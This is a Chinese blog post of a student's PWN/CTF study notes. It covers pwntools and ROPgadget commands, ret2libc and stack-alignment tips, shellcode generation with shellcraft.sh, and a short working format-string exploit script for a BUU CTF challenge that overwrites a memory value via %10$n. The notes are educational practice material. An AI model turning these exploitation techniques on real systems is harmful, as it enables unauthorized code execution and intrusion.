pwn学习笔记 BUU

这篇博客记录了作者在学习PWN过程中遇到的Ubuntu18环境配置问题以及一系列漏洞利用技术,包括ret2libc、格式化字符串漏洞、堆溢出等,涉及多个CTF比赛的解题经验。
摘要由CSDN通过智能技术生成

放假回家第一天

1.11

刚回家,一堆事要搞,没学什么,主要还是配环境。

这Ubuntu18的问题比20和22多好多,不停的报错,报错方式不停地变,已经麻了。

本来配完20和22以后以为自己已经会配基本的环境了,结果18又让我看到了很多新的问题。搜出来的文章大部分都没用,找到有用的文章也忘记保存了,以后如果有缘要重新配环境应该会吃很多亏。之前一直没有做笔记,现在开始正式进入寒假学习。

1.13

昨天把Ubuntu18基本配好了,环境配置告一段落,继续学习入门视频,并复现一下上面的题目。

lib.symbols['system'] #寻找system的offset

next(lib.search('/bin/sh')) #寻找/bin/sh的offset

ROPgadget  --binary 文件名 --only "pop|ret"#寻找gadget

strings 文件名|grep sh#寻找字符

当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

1.14

ldd 文件名#查询绝对路径

p32()#转字节型数据

u32()#转数字

hex()#转十六进制数据

1.17

这三天主要还是看视频和做题,一点点稳步推进吧。

shellcraft.sh()#生成shellcode汇编代码

asm(shellcraft.sh())#生成shellcode机械代码

64位需加入context.arch=“amd64”

在做ret2libc题目时为获得函数在got表中的地址,可以在栈溢出之后,劫持程序再次执行已执行过的函数,随后可获得got表内容。

栈对齐:

当内存地址作为操作数时,内存地址必须对齐 16Byte 、 32Byte 或 64Byte 。这里所说的对齐 xByte,就是指地址必须是 x 的倍数。

解决方式:加入在payload中加入一个ret。

1.19

int(b'0xffff',16)#将第一个参数转化为第二个参数所对应的进制,该例为转化为十六进制

libc database search (blukat.me)#libc版本查询网站

格式化字符串:printf("%n$p")#打印第n个数据

1.20

入门视频直接开始讲堆了,今天开始就少看点视频,多做题了。

1.21

[第五空间2019 决赛]PWN5

1

exp

from pwn import *
io=remote("node5.buuoj.cn",29678)
payload=p32(0x0804c044)+b'%10$n'
io.recv()
io.sendline(payload)
io.recv()
io.send(b'4')
io.interactive()

格式化字符串做的我好晕,还得多练。

这道题通过利用格式化字符串漏洞,改写随机数的值&

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值